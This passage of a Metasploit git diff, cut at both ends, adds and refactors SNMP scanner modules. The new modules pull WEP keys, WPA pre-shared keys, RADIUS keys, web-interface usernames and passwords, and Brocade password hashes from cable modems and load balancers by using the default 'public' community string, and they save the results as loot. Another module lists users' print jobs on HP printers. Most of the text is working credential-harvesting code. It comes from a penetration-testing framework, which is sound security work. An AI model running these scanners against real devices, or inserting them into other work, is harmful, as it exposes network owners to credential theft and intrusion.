#{key2}") + wifi_info << "WEP KEY2: #{key2}" << "\n" + wepkey3 = snmp.get_value("#{oid}.3") + key3 = "#{wepkey3}" + print_line("WEP KEY3: #{key3}") + wifi_info << "WEP KEY3: #{key3}" << "\n" + wepkey4 = snmp.get_value("#{oid}.4") + key4 = "#{wepkey4}" + print_line("WEP KEY4: #{key4}") + wifi_info << "WEP KEY4: #{key4}" << "\n" + + # WPA enabled + elsif wifi_version == '2' + wpapsk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA PSK: #{wpapsk}") + print_line("WPA Encryption: #{wpa_encrypt}") + wifi_info << "WPA PSK: #{wpapsk}" << "\n" + wifi_info << "WPA Encryption #{wpa_encrypt}" << "\n" + + # WPA2 enabled + elsif wifi_version == '3' + wpapsk2 = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA2 PSK: #{wpapsk2}") + print_line("WPA2 Encryption: #{wpa_encrypt}") + wifi_info << "WPA2 PSK: #{wpapsk2}" << "\n" + wifi_info << "WPA2 Encryption: #{wpa_encrypt}" << "\n" + + # WPA/WPA2 enabled + elsif wifi_version == '7' + wpawpa2psk = snmp.get_value('1.3.6.1.4.1.4115.1.20.1.1.3.26.1.2.12') + print_line("WPA/WPA2 PSK: #{wpawpa2psk}") + print_line("WPA/WPA2 Encryption: #{wpa_encrypt}") + wifi_info << "WPA/WPA2 PSK: #{wpawpa2psk}" << "\n" + wifi_info << "WPA/WPA2 Encryption: #{wpa_encrypt}" << "\n" + + else + print_line('FAILED') + end + else + print_line('WIFI is not enabled') + end + + # Woot we got loot. + loot_name = 'arris_wifi' + loot_type = 'text/plain' + loot_filename = 'arris_wifi.text' + loot_desc = 'Arris DG950A Wifi configuration data' + p = store_loot(loot_name, loot_type, datastore['RHOST'], wifi_info, loot_filename, loot_desc) + print_status("WIFI Data saved in: #{p}") + # No need to make noise + rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::RequestTimeout + raise $ERROR_INFO + rescue ::Exception => e + print_error("#{ip} error: #{e.class} #{e.message}") + disconnect_snmp + end +end diff --git a/modules/auxiliary/scanner/snmp/brocade_enumhash.rb b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb new file mode 100644 index 0000000000..f78cc130b9 --- /dev/null +++ b/modules/auxiliary/scanner/snmp/brocade_enumhash.rb @@ -0,0 +1,74 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Brocade Password Hash Enumeration', + 'Description' => %q{ + This module extracts password hashes from certain Brocade load + balancer devices. + }, + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string' ] + ], + 'Author' => ['Deral "PercentX" Heiland'], + 'License' => MSF_LICENSE + ) + + end + + def run_host(ip) + begin + snmp = connect_snmp + + if snmp.get_value('sysDescr.0') =~ /Brocade/ + + @users = [] + snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.1") do |row| + row.each { |val| @users << val.value.to_s } + end + + @hashes = [] + snmp.walk("1.3.6.1.4.1.1991.1.1.2.9.2.1.2") do |row| + row.each { |val| @hashes << val.value.to_s } + end + + print_good("#{ip} - Found user and password hashes:") + end + + credinfo = "" + @users.each_index do |i| + credinfo << "#{@users[i]}:#{@hashes[i]}" << "\n" + print_good("#{@users[i]}:#{@hashes[i]}") + end + + + #Woot we got loot. + loot_name = "brocade.hashes" + loot_type = "text/plain" + loot_filename = "brocade_hashes.txt" + loot_desc = "Brodace username and password hashes" + p = store_loot(loot_name, loot_type, datastore['RHOST'], credinfo , loot_filename, loot_desc) + + print_status("Credentials saved: #{p}") + rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::RequestTimeout + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip} - Error: #{e.class} #{e}") + disconnect_snmp + end + end +end diff --git a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb index f684266d94..6f4172e35d 100644 --- a/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb +++ b/modules/auxiliary/scanner/snmp/cisco_config_tftp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb index 3efd1988d1..bad6580176 100644 --- a/modules/auxiliary/scanner/snmp/cisco_upload_file.rb +++ b/modules/auxiliary/scanner/snmp/cisco_upload_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/netopia_enum.rb b/modules/auxiliary/scanner/snmp/netopia_enum.rb new file mode 100644 index 0000000000..0b39d2a13d --- /dev/null +++ b/modules/auxiliary/scanner/snmp/netopia_enum.rb @@ -0,0 +1,102 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize + super( + 'Name' => 'Netopia 3347 Cable Modem Wifi Enumeration', + 'Description' => %q{ + This module extracts WEP keys and WPA preshared keys from + certain Netopia cable modems. + }, + 'References' => + [ + [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/05/15/r7-2014-01-r7-2014-02-r7-2014-03-disclosures-exposure-of-critical-information-via-snmp-public-community-string' ] + ], + 'Author' => ['Deral "PercentX" Heiland'], + 'License' => MSF_LICENSE + ) + + end + + def run_host(ip) + output_data = {} + begin + snmp = connect_snmp + + if snmp.get_value('sysDescr.0') =~ /Netopia 3347/ + + wifistatus = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.1.0') + if wifistatus == "1" + wifiinfo = "" + ssid = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.2.1') + print_good("#{ip}") + print_good("SSID: #{ssid}") + wifiinfo << "SSID: #{ssid}" << "\n" + + wifiversion = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.4.1') + if wifiversion == "1" + + #Wep enabled + elsif wifiversion == ("2"||"3") + wepkey1 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.1') + print_good("WEP KEY1: #{wepkey1}") + wifiinfo << "WEP KEY1: #{wepkey1}" << "\n" + wepkey2 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.2') + print_good("WEP KEY2: #{wepkey2}") + wifiinfo << "WEP KEY2: #{wepkey2}" << "\n" + wepkey3 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.3') + print_good("WEP KEY3: #{wepkey3}") + wifiinfo << "WEP KEY3: #{wepkey3}" << "\n" + wepkey4 = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.15.1.3.4') + print_good("WEP KEY4: #{wepkey4}") + wifiinfo << "WEP KEY4: #{wepkey4}" << "\n" + actkey = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.13.0') + print_good("Active Wep key is Key#{actkey}") + wifiinfo << "Active WEP key is KEY#: #{actkey}" << "\n" + + #WPA enabled + elsif wifiversion == "4" + print_line("Device is configured for WPA ") + wpapsk = snmp.get_value('1.3.6.1.4.1.304.1.3.1.26.1.9.1.5.1') + print_good("WPA PSK: #{wpapsk}") + wifiinfo << "WPA PSK: #{wpapsk}" << "\n" + + #WPA Enterprise enabled + elsif wifiversion == "5" + print_line("Device is configured for WPA enterprise") + else + print_line("FAILED") + end + + else + print_line("WIFI is not enabled") + end + end + #Woot we got loot. + loot_name = "netopia_wifi" + loot_type = "text/plain" + loot_filename = "netopia_wifi.txt" + loot_desc = "Netopia Wifi configuration data" + p = store_loot(loot_name, loot_type, datastore['RHOST'], wifiinfo , loot_filename, loot_desc) + print_status("WIFI Data saved: #{p}") + + rescue ::SNMP::UnsupportedVersion + rescue ::SNMP::RequestTimeout + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip} - Error: #{e.class} #{e}") + disconnect_snmp + end + end +end diff --git a/modules/auxiliary/scanner/snmp/sbg6580_enum.rb b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb new file mode 100644 index 0000000000..904d5e8b0f --- /dev/null +++ b/modules/auxiliary/scanner/snmp/sbg6580_enum.rb @@ -0,0 +1,315 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module', + 'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola + SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username + and password for the device user interface as well as wireless network keys + and information. + The default community used is "public".', + 'References' => + [ + [ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ], + [ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ], + [ 'OSVDB', '110555' ] + ], + 'Author' => 'Matthew Kienow ', + 'License' => MSF_LICENSE + )) + + # change SNMP version option to match device specification + register_options( + [ + OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ]) + ], self.class) + end + + def run_host(ip) + + begin + snmp = connect_snmp + + # represents the order of the output data fields + fields_order = [ + "Host IP", "Username", "Password", "SSID", "802.11 Band", + "Network Authentication Mode", "WEP Passphrase", "WEP Encryption", + "WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4", + "Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)", + "RADIUS Server", "RADIUS Port", "RADIUS Key" + ] + + output_data = {"Host IP" => ip} + + sys_descr = snmp.get_value('sysDescr.0') + if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/ + # print connected status after the first query so if there are + # any timeout or connectivity errors; the code would already + # have jumped to error handling where the error status is + # already being displayed. + print_good("#{ip}, Connected.") + + # attempt to get the username and password for the device user interface + # using the CableHome cabhPsDevMib MIB module which defines the + # basic management objects for the Portal Services (PS) logical element + # of a CableHome compliant Residential Gateway device + device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0') + if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1 + # manufacturerLocal(1) - indicates Portal Services is using the vendor + # web user interface shipped with the device + device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0') + if is_valid_snmp_value(device_ui_username) + output_data["Username"] = device_ui_username.to_s + end + + device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0') + if is_valid_snmp_value(device_ui_password) + output_data["Password"] = device_ui_password.to_s + end + end + + wifi_ifindex = get_primary_wifi_ifindex(snmp) + if wifi_ifindex < 1 + print_status("Primary WiFi is disabled on the device") + end + + ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(ssid) + output_data["SSID"] = ssid.to_s + end + + wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0') + if is_valid_snmp_value(wireless_band) + output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i) + end + + network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}") + if is_valid_snmp_value(network_auth_mode) + network_auth_mode = network_auth_mode.to_i + network_auth_mode_name = get_network_auth_mode_name(network_auth_mode) + output_data["Network Authentication Mode"] = network_auth_mode_name + end + + case network_auth_mode + when 1, 6 + # WEP, WEP 802.1x Authentication + wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(wep_passphrase) + output_data["WEP Passphrase"] = wep_passphrase.to_s + end + + wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(wep_encryption) + wep_encryption = wep_encryption.to_i + else + wep_encryption = -1 + end + + wep_encryption_name = "Unknown" + wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil + # get appropriate WEP keys based on wep_encryption setting + if wep_encryption == 1 + wep_encryption_name = "64-bit" + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1") + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2") + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3") + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4") + elsif wep_encryption == 2 + wep_encryption_name = "128-bit" + wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1") + wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2") + wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3") + wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4") + end + + output_data["WEP Encryption"] = wep_encryption_name + if is_valid_snmp_value(wep_key1) + output_data["WEP Key 1"] = wep_key1.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key2) + output_data["WEP Key 2"] = wep_key2.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key3) + output_data["WEP Key 3"] = wep_key3.unpack('H*')[0] + end + if is_valid_snmp_value(wep_key4) + output_data["WEP Key 4"] = wep_key4.unpack('H*')[0] + end + + # get current network key + current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}") + if is_valid_snmp_value(current_key) + output_data["Current Network Key"] = current_key.to_s + end + + if network_auth_mode == 6 + get_radius_info(snmp, wifi_ifindex, output_data) + end + + when 2, 3, 4, 5, 7, 8 + # process all flavors of WPA + wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}") + if is_valid_snmp_value(wpa_encryption) + output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i) + end + + wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(wpa_psk) + output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s + end + + case network_auth_mode + when 4, 5, 8 + get_radius_info(snmp, wifi_ifindex, output_data) + end + end + + # output + print_line("") + print_status("Device information:\n") + line = "" + width = 30 # name field width + + fields_order.each {|k| + if not output_data.has_key?(k) + next + end + + v = output_data[k] + if (v.nil? or v.empty? or v =~ /Null/) + v = '-' + end + + report_note( + :host => ip, + :proto => 'udp', + :sname => 'snmp', + :port => datastore['RPORT'].to_i, + :type => "snmp.#{k}", + :data => v + ) + + line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v) + } + + print_line(line) + else + print_error("#{ip} does not appear to be a SBG6580.") + end + + rescue SNMP::RequestTimeout + print_error("#{ip} SNMP request timeout.") + rescue Rex::ConnectionError + print_error("#{ip} Connection refused.") + rescue SNMP::InvalidIpAddress + print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") + rescue SNMP::UnsupportedVersion + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("Unknown error: #{e.class} #{e}") + elog("Unknown error: #{e.class} #{e}") + elog("Call stack:\n#{e.backtrace.join "\n"}") + ensure + disconnect_snmp + end + end + + def get_primary_wifi_ifindex(snmp) + # The ifTable contains interface entries where each row represents + # management information for a particular interface. Locate the first + # interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up). + wifi_ifindex = 0 + ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"] + snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus| + if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1) + wifi_ifindex = ifIndex.value.to_i + end + end + wifi_ifindex + end + + def is_valid_snmp_value(value) + if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/ + return false + end + return true + end + + def get_network_auth_mode_name(network_auth_mode) + case network_auth_mode + when 0 + "Open Security" + when 1 + "WEP" + when 2 + "WPA-PSK" + when 3 + "WPA2-PSK" + when 4 + "WPA RADIUS" + when 5 + "WPA2 RADIUS" + when 6 + "WEP 802.1x Authentication" + when 7 + "WPA-PSK and WPA2-PSK" + when 8 + "WPA and WPA2 RADIUS" + else + "Unknown" + end + end + + def get_wireless_band_name(wireless_band) + case wireless_band + when 1 + "2.4 Ghz" + when 2 + "5 Ghz" + else + "Unknown" + end + end + + def get_wpa_encryption_name(wpa_encryption) + case wpa_encryption + when 2 + "AES" + when 3 + "TKIP+AES" + else + "Unknown" + end + end + + def get_radius_info(snmp, wifi_ifindex, output_data) + radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}") + if is_valid_snmp_value(radius_server) + output_data["RADIUS Server"] = radius_server.unpack("C4").join(".") + end + + radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}") + if is_valid_snmp_value(radius_port) + output_data["RADIUS Port"] = radius_port.to_s.strip + end + + radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}") + if is_valid_snmp_value(radius_key) + output_data["RADIUS Key"] = radius_key.to_s + end + end + +end diff --git a/modules/auxiliary/scanner/snmp/snmp_enum.rb b/modules/auxiliary/scanner/snmp/snmp_enum.rb index 7d7909adb8..3d82c713a0 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enum.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -92,19 +92,18 @@ class Metasploit3 < Msf::Auxiliary systemDate = systemDate.unpack('C*') year = systemDate[0] * 256 + systemDate[1] - month = systemDate[2] - day = systemDate[3] - hour = systemDate[4] - minutes = systemDate[5] - seconds = systemDate[6] - tenths = systemDate[7] + month = systemDate[2] || 0 + day = systemDate[3] || 0 + hour = systemDate[4] || 0 + minutes = systemDate[5] || 0 + seconds = systemDate[6] || 0 + tenths = systemDate[7] || 0 output_data["System date"] = sprintf("%d-%d-%d %02d:%02d:%02d.%d", year, month, day, hour, minutes, seconds, tenths) end # # if (sysDesc =~ /Windows/) - usersLine = "" domPrimaryDomain = snmp.get_value('1.3.6.1.4.1.77.1.4.1.0').to_s output_data["Domain"] = domPrimaryDomain.strip @@ -947,17 +946,19 @@ class Metasploit3 < Msf::Auxiliary rescue SNMP::RequestTimeout - vprint_status("#{ip} SNMP request timeout.") + print_error("#{ip} SNMP request timeout.") rescue Rex::ConnectionError - print_status("#{ip} Connection refused.") + print_error("#{ip} Connection refused.") rescue SNMP::InvalidIpAddress - print_status("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") + print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.") rescue SNMP::UnsupportedVersion - print_status("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") + print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.") rescue ::Interrupt raise $! rescue ::Exception => e - print_status("Unknown error: #{e.class} #{e}") + print_error("Unknown error: #{e.class} #{e}") + elog("Unknown error: #{e.class} #{e}") + elog("Call stack:\n#{e.backtrace.join "\n"}") ensure disconnect_snmp end diff --git a/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb new file mode 100644 index 0000000000..dd54f5cd9e --- /dev/null +++ b/modules/auxiliary/scanner/snmp/snmp_enum_hp_laserjet.rb @@ -0,0 +1,150 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::SNMPClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP LaserJet Printer SNMP Enumeration', + 'Description' => %q{ + This module allows enumeration of files previously printed. + It provides details as filename, client, timestamp and username informations. + The default community used is "public". + }, + 'References' => + [ + [ 'URL', 'http://en.wikipedia.org/wiki/Simple_Network_Management_Protocol' ], + [ 'URL', 'http://net-snmp.sourceforge.net/docs/man/snmpwalk.html' ], + [ 'URL', 'http://www.nothink.org/perl/snmpcheck/' ], + [ 'URL', 'http://www.securiteam.com/securitynews/5AP0S2KGVS.html' ], + [ 'URL', 'http://stuff.mit.edu/afs/athena/dept/cron/tools/share/mibs/290923.mib' ], + ], + 'Author' => 'Matteo Cantoni ', + 'License' => MSF_LICENSE + )) + end + + def run_host(ip) + begin + snmp = connect_snmp + + vprint_status("Connecting to #{ip}") + + output_data = [] + + output_data << "IP address : #{ip}" + + sysName = snmp.get_value('1.3.6.1.2.1.1.5.0').to_s + output_data << "Hostname : #{sysName.strip}" + + sysDesc = snmp.get_value('1.3.6.1.2.1.1.1.0').to_s + sysDesc.gsub!(/^\s+|\s+$|\n+|\r+/, ' ') + output_data << "Description : #{sysDesc.strip}" + + sysContact = snmp.get_value('1.3.6.1.2.1.1.4.0').to_s + output_data << "Contact : #{sysContact.strip}" if not sysContact.empty? + + sysLocation = snmp.get_value('1.3.6.1.2.1.1.6.0').to_s + output_data << "Location : #{sysLocation.strip}" if not sysLocation.empty? + + output_data << "" + + snmp.walk([ + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.1", # job-info-name1 - document name1 + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.2", # job-info-name2 - document name2 + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.1", # job-info-attr-1 - username + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.2", # job-info-attr-2 - machine name + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.3", # job-info-attr-3 - domain (?) + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.4", # job-info-attr-4 - timestamp + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.6", # job-info-attr-6 - application name + "1.3.6.1.4.1.11.2.3.9.4.2.1.1.6.5.23.7", # job-info-attr-7 - application command + ]) do |name1,name2,username,client,domain,timestamp,app_name,app_command| + + filename = name1.value.to_s + name2.value.to_s + + if (username.value.to_s !~ /noSuchInstance/) + if username.value.to_s =~ /^JobAcct(\d+)=(.*)/ + username = $2 + end + else + username = '' + end + + if (client.value.to_s !~ /noSuchInstance/) + if client.value.to_s =~ /^JobAcct(\d+)=(.*)/ + client = $2 + end + else + client = '' + end + + if (domain.value.to_s !~ /noSuchInstance/) + if domain.value.to_s =~ /^JobAcct(\d+)=(.*)/ + domain = $2 + end + else + domain = '' + end + + if (timestamp.value.to_s !~ /noSuchInstance/) + if timestamp.value.to_s =~ /^JobAcct(\d+)=(.*)/ + timestamp = $2 + end + else + timestamp = '' + end + + if (app_name.value.to_s !~ /noSuchInstance/) + if app_name.value.to_s =~ /^JobAcct(\d+)=(.*)/ + app_name = $2 + end + else + app_name = '' + end + + if (app_command.value.to_s !~ /noSuchInstance/) + if app_command.value.to_s =~ /^JobAcct(\d+)=(.*)/ + app_command = $2 + end + else + app_command = '' + end + + if not timestamp.empty? + output_data << "File name : #{filename}" + output_data << "Username : #{username}" if not username.empty? + output_data << "Client : #{client}" if not client.empty? + output_data << "Domain : #{domain}" if not domain.empty? + output_data << "Timestamp : #{timestamp}" if not timestamp.empty? + output_data << "Application : #{app_name} (#{app_command})" if not app_name.empty? + output_data << "" + end + end + + output_data.each do |row| + print_good("#{row}") + end + + disconnect_snmp + + rescue SNMP::RequestTimeout + print_error("#{ip}, SNMP request timeout.") + rescue Errno::ECONNREFUSED + print_error("#{ip}, Connection refused.") + rescue SNMP::InvalidIpAddress + print_error("#{ip}, Invalid IP Address. Check it with 'snmpwalk tool'.") + rescue ::Interrupt + raise $! + rescue ::Exception => e + print_error("#{ip}, Unknown error: #{e.class} #{e}") + end + end +end diff --git a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb index 52e407a99a..8886a67ae8 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumshares.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumshares.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb index 9a8a5bf3c5..34a0940b48 100644 --- a/modules/auxiliary/scanner/snmp/snmp_enumusers.rb +++ b/modules/auxiliary/scanner/snmp/snmp_enumusers.rb @@ -1,62 +1,76 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::SNMPClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner + include SNMP def initialize super( 'Name' => 'SNMP Windows Username Enumeration', - 'Description' => "This module will use LanManager OID values to enumerate local user accounts on a Windows system via SNMP", + 'Description' => ' + This module will use LanManager/psProcessUsername OID values to + enumerate local user accounts on a Windows/Solaris system via SNMP + ', 'Author' => ['tebo[at]attackresearch.com'], 'License' => MSF_LICENSE ) - end def run_host(ip) + peer = "#{ip}:#{rport}" begin snmp = connect_snmp - if snmp.get_value('sysDescr.0') =~ /Windows/ + sys_desc = snmp.get_value('sysDescr.0') + if sys_desc.blank? || sys_desc.to_s == 'Null' + vprint_error("#{peer} No sysDescr received") + return + end + sys_desc = sys_desc.split(/[\r\n]/).join(' ') - @users = [] - snmp.walk("1.3.6.1.4.1.77.1.2.25") do |row| - row.each { |val| @users << val.value.to_s } + sys_desc_map = { + /Windows/ => '1.3.6.1.4.1.77.1.2.25', + /Sun/ => '1.3.6.1.4.1.42.3.12.1.8' + } + + matching_oids = sys_desc_map.select { |re, _| sys_desc =~ re }.values + if matching_oids.empty? + vprint_warning("#{peer} Skipping unsupported sysDescr: '#{sys_desc}'") + return + end + users = [] + + matching_oids.each do |oid| + snmp.walk(oid) do |row| + row.each { |val| users << val.value.to_s } end - - print_good("#{ip} Found Users: #{@users.sort.join(", ")} ") - + end + unless users.empty? + users.sort! + users.uniq! + print_good("#{peer} Found #{users.size} users: #{users.join(', ')}") end - disconnect_snmp - report_note( - :host => rhost, - :port => datastore['RPORT'], - :proto => 'udp', - :sname => 'snmp', - :update => :unique_data, - :type => 'snmp.users', - :data => @users + host: rhost, + port: rport, + proto: 'udp', + sname: 'snmp', + update: :unique_data, + type: 'snmp.users', + data: users ) - - - rescue ::SNMP::UnsupportedVersion - rescue ::SNMP::RequestTimeout - rescue ::Interrupt - raise $! - rescue ::Exception => e - print_error("Unknown error: #{e.class} #{e}") + rescue ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion + # too noisy for a scanner + ensure + disconnect_snmp end - end - end diff --git a/modules/auxiliary/scanner/snmp/snmp_login.rb b/modules/auxiliary/scanner/snmp/snmp_login.rb index d16e1cfbe6..223d5e7a75 100644 --- a/modules/auxiliary/scanner/snmp/snmp_login.rb +++ b/modules/auxiliary/scanner/snmp/snmp_login.rb @@ -1,12 +1,12 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' -require 'openssl' -require 'snmp' +require 'metasploit/framework/community_string_collection' +require 'metasploit/framework/login_scanner/snmp' class Metasploit3 < Msf::Auxiliary @@ -49,260 +49,48 @@ class Metasploit3 < Msf::Auxiliary # Operate on an entire batch of hosts at once def run_batch(batch) - @found = {} - @tried = [] - - begin - udp_sock = nil - idx = 0 - - # Create an unbound UDP socket if no CHOST is specified, otherwise - # create a UDP socket bound to CHOST (in order to avail of pivoting) - udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} }) - add_socket(udp_sock) - - each_user_pass do |user, pass| - comm = pass - - data1 = create_probe_snmp1(comm) - data2 = create_probe_snmp2(comm) - - batch.each do |ip| 